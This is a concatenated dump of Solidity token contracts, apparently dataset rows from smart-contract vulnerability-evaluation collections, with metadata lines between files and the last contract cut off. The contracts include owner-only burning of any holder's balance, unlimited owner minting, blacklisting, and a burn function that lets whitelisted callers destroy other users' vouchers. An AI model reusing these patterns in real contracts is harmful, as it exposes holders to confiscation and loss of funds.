receive () external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setMaxStopFeeTotal(uint256 total) public onlyOwner {
MAX_STOP_FEE_TOTAL = total;
restoreAllFee();
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setExchangePool(address exchangePool) public onlyOwner {
_exchangePool = exchangePool;
}
function totalBurnFee() public view returns (uint256) {
return _burnFeeTotal;
}
function totalFundFee() public view returns (uint256) {
return _fundFeeTotal;
}
function totalLiquidityFee() public view returns (uint256) {
return _liquidityFeeTotal;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if(Address.isContract(sender)&&!_isExcludedFromFee[sender]){
require(amount<=maxBuy);
}
if(Address.isContract(recipient)&&!_isExcludedFromFee[sender]){
require(amount<=maxSale);
}
if (_totalSupply <= MAX_STOP_FEE_TOTAL) {
removeAllFee();
_transferStandard(sender, recipient, amount);
} else {
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool||(!Address.isContract(sender)&&!Address.isContract(recipient))) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
restoreAllFee();
}
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getValues(tAmount);
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
if(!_isExcludedFromFee[sender] &&
!_isExcludedFromFee[recipient] &&
recipient != _exchangePool) {
_balances[_exchangePool] = _balances[_exchangePool].add(tLiquidity);
_liquidityFeeTotal = _liquidityFeeTotal.add(tLiquidity);
_balances[_fundAddress] = _balances[_fundAddress].add(tFund);
_fundFeeTotal = _fundFeeTotal.add(tFund);
_totalSupply = _totalSupply.sub(tBurn);
_burnFeeTotal = _burnFeeTotal.add(tBurn);
emit Transfer(sender, _exchangePool, tLiquidity);
emit Transfer(sender, _fundAddress, tFund);
emit Transfer(sender, _burnPool, tBurn);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10 ** 2);
}
function calculateFundFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_fundFee).div(10 ** 2);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getTValues(tAmount);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256,uint256, uint256) {
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tFund = calculateFundFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tBurn).sub(tLiquidity).sub(tFund);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function removeAllFee() private {
if(_liquidityFee == 0 && _burnFee == 0 && _fundFee == 0) return;
_previousLiquidityFee = _liquidityFee;
_previousBurnFee = _burnFee;
_previousFundFee = _fundFee;
_liquidityFee = 0;
_burnFee = 0;
_fundFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
_burnFee = _previousBurnFee;
_fundFee = _previousFundFee;
}
}
| 303,059 | 12,411 |
68c0abe3cb78c085b44d335d839c0143b820fd097b7ac55df572b869b4c67baf
| 27,352 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x8a25aaaad3c581bfd425482f1044d7574c2de0a4.sol
| 4,661 | 18,666 |
pragma solidity ^0.4.25;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// ----------------------------------------------------------------------------
// Ownable contract
// ----------------------------------------------------------------------------
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract Claimable is Ownable {
address public pendingOwner;
event OwnershipTransferPending(address indexed owner, address indexed pendingOwner);
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferPending(owner, pendingOwner);
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// Pausable contract
// ----------------------------------------------------------------------------
contract Pausable is Claimable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// ----------------------------------------------------------------------------
// Administratable contract
// ----------------------------------------------------------------------------
contract Administratable is Claimable {
struct MintStruct {
uint256 mintedTotal;
uint256 lastMintTimestamp;
}
struct BurnStruct {
uint256 burntTotal;
uint256 lastBurnTimestamp;
}
mapping(address => bool) public admins;
mapping(address => MintStruct) public mintLimiter;
mapping(address => BurnStruct) public burnLimiter;
event AdminAddressAdded(address indexed addr);
event AdminAddressRemoved(address indexed addr);
modifier onlyAdmin() {
require(admins[msg.sender] || msg.sender == owner);
_;
}
function addAddressToAdmin(address addr) onlyOwner public returns(bool success) {
if (!admins[addr]) {
admins[addr] = true;
mintLimiter[addr] = MintStruct(0, 0);
burnLimiter[addr] = BurnStruct(0, 0);
emit AdminAddressAdded(addr);
success = true;
}
}
function removeAddressFromAdmin(address addr) onlyOwner public returns(bool success) {
if (admins[addr]) {
admins[addr] = false;
delete mintLimiter[addr];
delete burnLimiter[addr];
emit AdminAddressRemoved(addr);
success = true;
}
}
}
contract Callable is Claimable {
mapping(address => bool) public callers;
event CallerAddressAdded(address indexed addr);
event CallerAddressRemoved(address indexed addr);
modifier onlyCaller() {
require(callers[msg.sender]);
_;
}
function addAddressToCaller(address addr) onlyOwner public returns(bool success) {
if (!callers[addr]) {
callers[addr] = true;
emit CallerAddressAdded(addr);
success = true;
}
}
function removeAddressFromCaller(address addr) onlyOwner public returns(bool success) {
if (callers[addr]) {
callers[addr] = false;
emit CallerAddressRemoved(addr);
success = true;
}
}
}
// ----------------------------------------------------------------------------
// Blacklist
// ----------------------------------------------------------------------------
contract Blacklist is Callable {
mapping(address => bool) public blacklist;
function addAddressToBlacklist(address addr) onlyCaller public returns (bool success) {
if (!blacklist[addr]) {
blacklist[addr] = true;
success = true;
}
}
function removeAddressFromBlacklist(address addr) onlyCaller public returns (bool success) {
if (blacklist[addr]) {
blacklist[addr] = false;
success = true;
}
}
}
// ----------------------------------------------------------------------------
// Allowance
// ----------------------------------------------------------------------------
contract Allowance is Callable {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) public allowanceOf;
function addAllowance(address _holder, address _spender, uint256 _value) onlyCaller public {
allowanceOf[_holder][_spender] = allowanceOf[_holder][_spender].add(_value);
}
function subAllowance(address _holder, address _spender, uint256 _value) onlyCaller public {
uint256 oldValue = allowanceOf[_holder][_spender];
if (_value > oldValue) {
allowanceOf[_holder][_spender] = 0;
} else {
allowanceOf[_holder][_spender] = oldValue.sub(_value);
}
}
function setAllowance(address _holder, address _spender, uint256 _value) onlyCaller public {
allowanceOf[_holder][_spender] = _value;
}
}
// ----------------------------------------------------------------------------
// Balance
// ----------------------------------------------------------------------------
contract Balance is Callable {
using SafeMath for uint256;
mapping (address => uint256) public balanceOf;
uint256 public totalSupply;
function addBalance(address _addr, uint256 _value) onlyCaller public {
balanceOf[_addr] = balanceOf[_addr].add(_value);
}
function subBalance(address _addr, uint256 _value) onlyCaller public {
balanceOf[_addr] = balanceOf[_addr].sub(_value);
}
function setBalance(address _addr, uint256 _value) onlyCaller public {
balanceOf[_addr] = _value;
}
function addTotalSupply(uint256 _value) onlyCaller public {
totalSupply = totalSupply.add(_value);
}
function subTotalSupply(uint256 _value) onlyCaller public {
totalSupply = totalSupply.sub(_value);
}
}
// ----------------------------------------------------------------------------
// Blacklistable
// ----------------------------------------------------------------------------
contract Blacklistable {
Blacklist internal _blacklist;
constructor(Blacklist _blacklistContract) public {
_blacklist = _blacklistContract;
}
modifier onlyNotBlacklistedAddr(address addr) {
require(!_blacklist.blacklist(addr));
_;
}
modifier onlyNotBlacklistedAddrs(address[] addrs) {
for (uint256 i = 0; i < addrs.length; i++) {
require(!_blacklist.blacklist(addrs[i]));
}
_;
}
function blacklist(address addr) public view returns (bool) {
return _blacklist.blacklist(addr);
}
}
contract ControllerTest is Pausable, Administratable, Blacklistable {
using SafeMath for uint256;
Balance internal _balances;
uint256 constant decimals = 18;
uint256 constant maxBLBatch = 100;
uint256 public dailyMintLimit = 10000 * 10 ** decimals;
uint256 public dailyBurnLimit = 10000 * 10 ** decimals;
uint256 constant dayInSeconds = 86400;
constructor(Balance _balanceContract, Blacklist _blacklistContract) Blacklistable(_blacklistContract) public {
_balances = _balanceContract;
}
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
// This notifies clients about the amount mint
event Mint(address indexed to, uint256 value);
// This notifies clients about the amount of limit mint by some admin
event LimitMint(address indexed admin, address indexed to, uint256 value);
// This notifies clients about the amount of limit burn by some admin
event LimitBurn(address indexed admin, address indexed from, uint256 value);
event BlacklistedAddressAdded(address indexed addr);
event BlacklistedAddressRemoved(address indexed addr);
// blacklist operations
function _addToBlacklist(address addr) internal returns (bool success) {
success = _blacklist.addAddressToBlacklist(addr);
if (success) {
emit BlacklistedAddressAdded(addr);
}
}
function _removeFromBlacklist(address addr) internal returns (bool success) {
success = _blacklist.removeAddressFromBlacklist(addr);
if (success) {
emit BlacklistedAddressRemoved(addr);
}
}
function addAddressToBlacklist(address addr) onlyAdmin whenNotPaused public returns (bool) {
return _addToBlacklist(addr);
}
function addAddressesToBlacklist(address[] addrs) onlyAdmin whenNotPaused public returns (bool success) {
uint256 cnt = uint256(addrs.length);
require(cnt <= maxBLBatch);
success = true;
for (uint256 i = 0; i < addrs.length; i++) {
if (!_addToBlacklist(addrs[i])) {
success = false;
}
}
}
function removeAddressFromBlacklist(address addr) onlyAdmin whenNotPaused public returns (bool) {
return _removeFromBlacklist(addr);
}
function removeAddressesFromBlacklist(address[] addrs) onlyAdmin whenNotPaused public returns (bool success) {
success = true;
for (uint256 i = 0; i < addrs.length; i++) {
if (!_removeFromBlacklist(addrs[i])) {
success = false;
}
}
}
function burnFrom(address _from, uint256 _amount) onlyOwner whenNotPaused
public returns (bool success) {
require(_balances.balanceOf(_from) >= _amount); // Check if the targeted balance is enough
_balances.subBalance(_from, _amount); // Subtract from the targeted balance
_balances.subTotalSupply(_amount);
emit Burn(_from, _amount);
return true;
}
function limitBurnFrom(address _from, uint256 _amount) onlyAdmin whenNotPaused
public returns (bool success) {
require(_balances.balanceOf(_from) >= _amount && _amount <= dailyBurnLimit);
if (burnLimiter[msg.sender].lastBurnTimestamp.div(dayInSeconds) != now.div(dayInSeconds)) {
burnLimiter[msg.sender].burntTotal = 0;
}
require(burnLimiter[msg.sender].burntTotal.add(_amount) <= dailyBurnLimit);
_balances.subBalance(_from, _amount); // Subtract from the targeted balance
_balances.subTotalSupply(_amount);
burnLimiter[msg.sender].lastBurnTimestamp = now;
burnLimiter[msg.sender].burntTotal = burnLimiter[msg.sender].burntTotal.add(_amount);
emit LimitBurn(msg.sender, _from, _amount);
emit Burn(_from, _amount);
return true;
}
function limitMint(address _to, uint256 _amount)
onlyAdmin whenNotPaused onlyNotBlacklistedAddr(_to)
public returns (bool success) {
require(_to != msg.sender);
require(_amount <= dailyMintLimit);
if (mintLimiter[msg.sender].lastMintTimestamp.div(dayInSeconds) != now.div(dayInSeconds)) {
mintLimiter[msg.sender].mintedTotal = 0;
}
require(mintLimiter[msg.sender].mintedTotal.add(_amount) <= dailyMintLimit);
_balances.addBalance(_to, _amount);
_balances.addTotalSupply(_amount);
mintLimiter[msg.sender].lastMintTimestamp = now;
mintLimiter[msg.sender].mintedTotal = mintLimiter[msg.sender].mintedTotal.add(_amount);
emit LimitMint(msg.sender, _to, _amount);
emit Mint(_to, _amount);
return true;
}
function setDailyMintLimit(uint256 _limit) onlyOwner public returns (bool) {
dailyMintLimit = _limit;
return true;
}
function setDailyBurnLimit(uint256 _limit) onlyOwner public returns (bool) {
dailyBurnLimit = _limit;
return true;
}
function mint(address _to, uint256 _amount)
onlyOwner whenNotPaused onlyNotBlacklistedAddr(_to)
public returns (bool success) {
_balances.addBalance(_to, _amount);
_balances.addTotalSupply(_amount);
emit Mint(_to, _amount);
return true;
}
}
// ----------------------------------------------------------------------------
// ContractInterface
// ----------------------------------------------------------------------------
contract ContractInterface {
function totalSupply() public view returns (uint256);
function balanceOf(address tokenOwner) public view returns (uint256);
function allowance(address tokenOwner, address spender) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function batchTransfer(address[] to, uint256 value) public returns (bool);
function increaseApproval(address spender, uint256 value) public returns (bool);
function decreaseApproval(address spender, uint256 value) public returns (bool);
function burn(uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed tokenOwner, address indexed spender, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
}
// ----------------------------------------------------------------------------
// V_test contract
// ----------------------------------------------------------------------------
contract V_test is ContractInterface, Pausable, Blacklistable {
using SafeMath for uint256;
// variables of the token
uint8 public constant decimals = 18;
uint256 constant maxBatch = 100;
string public name;
string public symbol;
Balance internal _balances;
Allowance internal _allowance;
constructor(string _tokenName, string _tokenSymbol,
Balance _balanceContract, Allowance _allowanceContract,
Blacklist _blacklistContract) Blacklistable(_blacklistContract) public {
name = _tokenName; // Set the name for display purposes
symbol = _tokenSymbol; // Set the symbol for display purposes
_balances = _balanceContract;
_allowance = _allowanceContract;
}
function totalSupply() public view returns (uint256) {
return _balances.totalSupply();
}
function balanceOf(address _addr) public view returns (uint256) {
return _balances.balanceOf(_addr);
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return _allowance.allowanceOf(_owner, _spender);
}
function _transfer(address _from, address _to, uint256 _value) internal {
require(_value > 0); // transfering value must be greater than 0
require(_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(_balances.balanceOf(_from) >= _value); // Check if the sender has enough
uint256 previousBalances = _balances.balanceOf(_from).add(_balances.balanceOf(_to)); // Save this for an assertion in the future
_balances.subBalance(_from, _value); // Subtract from the sender
_balances.addBalance(_to, _value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(_balances.balanceOf(_from) + _balances.balanceOf(_to) == previousBalances);
}
function transfer(address _to, uint256 _value)
whenNotPaused onlyNotBlacklistedAddr(msg.sender) onlyNotBlacklistedAddr(_to)
public returns (bool) {
_transfer(msg.sender, _to, _value);
return true;
}
function batchTransfer(address[] _to, uint256 _value)
whenNotPaused onlyNotBlacklistedAddr(msg.sender) onlyNotBlacklistedAddrs(_to)
public returns (bool) {
uint256 cnt = uint256(_to.length);
require(cnt > 0 && cnt <= maxBatch && _value > 0);
uint256 amount = _value.mul(cnt);
require(_balances.balanceOf(msg.sender) >= amount);
for (uint256 i = 0; i < cnt; i++) {
_transfer(msg.sender, _to[i], _value);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
whenNotPaused onlyNotBlacklistedAddr(_from) onlyNotBlacklistedAddr(_to)
public returns (bool) {
require(_allowance.allowanceOf(_from, msg.sender) >= _value); // Check allowance
_allowance.subAllowance(_from, msg.sender, _value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
whenNotPaused onlyNotBlacklistedAddr(msg.sender) onlyNotBlacklistedAddr(_spender)
public returns (bool) {
_allowance.setAllowance(msg.sender, _spender, _value);
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint256 _addedValue)
whenNotPaused onlyNotBlacklistedAddr(msg.sender) onlyNotBlacklistedAddr(_spender)
public returns (bool) {
_allowance.addAllowance(msg.sender, _spender, _addedValue);
emit Approval(msg.sender, _spender, _allowance.allowanceOf(msg.sender, _spender));
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
whenNotPaused onlyNotBlacklistedAddr(msg.sender) onlyNotBlacklistedAddr(_spender)
public returns (bool) {
_allowance.subAllowance(msg.sender, _spender, _subtractedValue);
emit Approval(msg.sender, _spender, _allowance.allowanceOf(msg.sender, _spender));
return true;
}
function burn(uint256 _value) whenNotPaused onlyNotBlacklistedAddr(msg.sender)
public returns (bool success) {
require(_balances.balanceOf(msg.sender) >= _value); // Check if the sender has enough
_balances.subBalance(msg.sender, _value); // Subtract from the sender
_balances.subTotalSupply(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function changeName(string _name, string _symbol) onlyOwner public {
name = _name;
symbol = _symbol;
}
}
| 217,236 | 12,412 |
7e2533033e4d675521270c0486497baca3fa072aba8f353724c1a8d79337f345
| 23,668 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TY/TYh9TN51VZzUVXExGmYzCyepAErJ2S924S_VoucherToken.sol
| 4,170 | 17,352 |
//SourceUnit: voucherToken.sol
pragma solidity 0.4.25;
//
//------------------------ SafeMath Library -------------------------//
//
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath mul failed');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, 'SafeMath sub failed');
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath add failed');
return c;
}
}
interface VoucherTokenInherit
{
function sharesContractAddress() external view returns(address _shareContract);
function diamondVouchersContractAddress() external view returns(address _diamondVoucherContract);
function topiaVaultGameContract() external view returns(address _vaultContract);
function voucherDividendContract() external view returns(address _vaultDividendContract);
function frozenAccount(address _user) external view returns(bool _frozen);
function whitelistCallerArray(uint256 _addressNo) external view returns(address _user);
function lengthOfwhiteListCaller() external view returns(uint256 _length);
function mintingBasePrice(address _contract) external view returns(uint256 _basePrice);
function mintingPriceIncrementer(address _contract) external view returns(uint256 _increaseNo);
function vaultCredit(address _user) external view returns(uint256 _creditAmount);
}
//
//--------------------- GAMES CONTRACT INTERFACE ---------------------//
//
interface InterfaceGAMES {
function getAvailableVoucherRake() external returns (uint256);
function requestVoucherRakePayment() external returns(bool);
}
//
//--------------------- SHARES CONTRACT INTERFACE --------------------//
//
interface InterfaceSHARES {
function mintShares (address user, uint256 shareMint) external returns(bool);
}
//
//---------------- DIAMOND VOUCHER CONTRACT INTERFACE ----------------//
//
interface InterfaceDIAMONDS {
function mintDiamonds (address user, uint256 diamondAmount) external returns(bool);
}
//
//------------------- DIVIDEND CONTRACT INTERFACE --------------------//
//
interface InterfaceDividend {
function withdrawDividendsEverything() external returns(bool);
function lengthOfDivDistributedAllTime() external view returns(uint256 _lengthOfDDAT);
}
//
//------------------ Contract to Manage Ownership -------------------//
//
contract owned {
address internal owner;
address internal newOwner;
address internal signer;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
signer = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlySigner {
require(msg.sender == signer);
_;
}
function changeSigner(address _signer) public onlyOwner {
signer = _signer;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
//this flow is to prevent transferring ownership to wrong wallet by mistake
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
//
//--------------------- VOUCHER MAIN CODE STARTS HERE ---------------------//
//
contract VoucherToken is owned {
// Public variables of the token
using SafeMath for uint256;
string public constant name = "Topia Voucher";
string public constant symbol = "TVS";
uint256 public constant decimals = 6;
uint256 public totalSupply;
bool public safeguardTokenMovement; //putting safeguard on will halt all non-owner functions
bool public globalHalt;
uint256 public totalMintedLifetime;
uint256 public vouchersBurnedAllTime;
uint256 public sideBetMintMultiplierSUN = 2 * 1e6; // 2x minting in sidebet compared to main bet
address public sharesContractAddress;
address public diamondVouchersContractAddress;
uint256 public diamondExchangeRate = 1000; //1000 voucher = 1 diamond
address public topiaVaultGameContract;
address public voucherDividendContract;
address public topiaDividendCotractAddress;
// This creates a mapping with all data storage
mapping (address => uint256) public balanceOf;
mapping (address => bool) public frozenAccount;
mapping (address => bool) public whitelistCaller;
address[] public whitelistCallerArray;
mapping (address => uint256) internal whitelistCallerArrayIndex;
mapping (address => uint256) public mintingBasePrice; //starting 100 trx to mint 1 voucher
mapping (address => uint256) public mintingPriceIncrementer;
mapping (address => uint256[3]) public usersVoucherBurnedAmount;
mapping (address => uint256) public divCounterWhenUserBurn;
uint256[] public burnedVouchersWhileDivDistribution; //total amount vouchers burned at time of dividend distribution
uint256[3] public onePartDivideBy; // for reducing while burning
uint256[3] public totalBurnIn; // total burn for 0,1,2 category
mapping(address => uint256) public vaultCredit;
bool public inheritLock; // once inherit called then even admin can't call
bool public inheritVaultCredit;
bool public inheritFrozenAccount;
// This generates a public event of token transfer
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
// This generates a public event for frozen (blacklisting) accounts
event FrozenAccounts(address indexed target, bool frozen);
// Owner Minting
event OwnerMinting(address indexed ownerWallet, uint256 value);
function _transfer(address _from, address _to, uint _value) internal {
//checking conditions
require(!safeguardTokenMovement);
require (_to != address(0x0)); // Prevent transfer to 0x0 address. Use burn() instead
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
// overflow and undeflow checked by SafeMath Library
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
// emit Transfer event
emit Transfer(_from, _to, _value);
}
constructor() public {
onePartDivideBy[0] = 1;
onePartDivideBy[1] = 1;
onePartDivideBy[2] = 1;
}
function inheritFrom(address anyPrevVoucherContractAddress,bool _inheritVaultCredit, bool _inheritFrozenAccount) public onlyOwner returns (bool)
{
require(! inheritLock,"Inherit locked");
sharesContractAddress = VoucherTokenInherit(anyPrevVoucherContractAddress).sharesContractAddress();
diamondVouchersContractAddress = VoucherTokenInherit(anyPrevVoucherContractAddress).diamondVouchersContractAddress();
topiaVaultGameContract = VoucherTokenInherit(anyPrevVoucherContractAddress).topiaVaultGameContract();
voucherDividendContract = VoucherTokenInherit(anyPrevVoucherContractAddress).voucherDividendContract();
inheritVaultCredit = _inheritVaultCredit; // will check on first interaction by user
inheritFrozenAccount = _inheritFrozenAccount; // will check on first interaction by user
uint256 lengthOfWLC = VoucherTokenInherit(anyPrevVoucherContractAddress).lengthOfwhiteListCaller();
uint256 i;
address temp;
for (i=0;i<lengthOfWLC;i++)
{
temp = VoucherTokenInherit(anyPrevVoucherContractAddress).whitelistCallerArray(i);
whitelistCaller[temp] = true;
whitelistCallerArray.push(temp);
whitelistCallerArrayIndex[temp] = i;
mintingBasePrice[temp] = VoucherTokenInherit(anyPrevVoucherContractAddress).mintingBasePrice(temp);
mintingPriceIncrementer[temp] = VoucherTokenInherit(anyPrevVoucherContractAddress).mintingPriceIncrementer(temp);
}
inheritLock = true;
return true;
}
function unlockInherit() public onlyOwner returns (bool)
{
require(inheritLock, "already unlocked");
inheritVaultCredit = false;
inheritFrozenAccount = false;
uint256 lengthOfWLC = whitelistCallerArray.length;
uint256 i;
address temp;
for (i=0;i<lengthOfWLC;i++)
{
temp = whitelistCallerArray[i];
whitelistCaller[temp] = false;
whitelistCallerArrayIndex[temp] = 0;
mintingBasePrice[temp] = 0;
mintingPriceIncrementer[temp] = 0;
}
delete whitelistCallerArray;
inheritLock = false;
return true;
}
function () payable external {}
function mintVouchers(address _user, uint256 _mainBetSUN, uint256 _siteBetSUN) public returns(bool) {
//checking if the caller is whitelisted game contract
require(whitelistCaller[msg.sender] || msg.sender == topiaDividendCotractAddress, 'Unauthorised caller');
//globalHalt will affect this function, which ultimately revert the Roll functions in game contract
require(!globalHalt, 'Global Halt is on');
uint256 sideBetMint = _siteBetSUN * sideBetMintMultiplierSUN / 1000000; //side bet mint 2x of main bet
uint256 totalVouchersToMint = _mainBetSUN + sideBetMint;
totalMintedLifetime += totalVouchersToMint;
balanceOf[_user] = balanceOf[_user].add(totalVouchersToMint);
totalSupply = totalSupply.add(totalVouchersToMint);
//emitting Transfer event
emit Transfer(address(0),_user,totalVouchersToMint);
return true;
}
function mintVouchersOwnerOnly(address user, uint256 tokenAmountSUN) public onlySigner returns(string){
totalMintedLifetime += tokenAmountSUN;
balanceOf[user] = balanceOf[user].add(tokenAmountSUN);
totalSupply = totalSupply.add(tokenAmountSUN);
//emitting Transfer event
emit Transfer(address(0),user,tokenAmountSUN);
return "Voucher minted and sent to receipient";
}
function updateSideBetMintMultiplierSUN(uint256 _sideBetMintMultiplierSUN) public onlyOwner returns(string){
sideBetMintMultiplierSUN = _sideBetMintMultiplierSUN;
return "done";
}
function updateBurnControl(uint256 mintShareStatus, uint256 _onePartDivideBy) public onlyOwner returns (bool)
{
require(mintShareStatus<3,"invalid mintShareStatus");
onePartDivideBy[mintShareStatus] = _onePartDivideBy;
return true;
}
function burnVoucher(uint256 _value, uint8 mintShareStatus, address _user) public returns (bool success) {
address caller = msg.sender;
address user;
if(whitelistCaller[caller])
{
user = _user;
}
else
{
user = caller;
}
require(!safeguardTokenMovement, 'Safeguard is placed');
require(_value > 0, 'Invalid amount');
//address user = msg.sender;
uint256 tempValue;
uint remaining;
if(sharesContractAddress != address(0)){
tempValue = _value / onePartDivideBy[mintShareStatus];
remaining = _value - tempValue;
if (remaining > 0)
{
InterfaceSHARES(sharesContractAddress).mintShares(user, remaining);
}
if (mintShareStatus == 2)
{
tempValue = 0;
vaultCredit[user] += _value;
}
}
//logic to mint diamond vouchers
if(diamondVouchersContractAddress != address(0)){
uint256 diamond = _value / diamondExchangeRate;
InterfaceDIAMONDS(diamondVouchersContractAddress).mintDiamonds(user,diamond);
}
//checking of enough token balance is done by SafeMath
balanceOf[user] = balanceOf[user].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
//updating burn tracker global
vouchersBurnedAllTime = vouchersBurnedAllTime.add(_value);
usersVoucherBurnedAmount[user][mintShareStatus] += _value;
totalBurnIn[mintShareStatus] += _value;
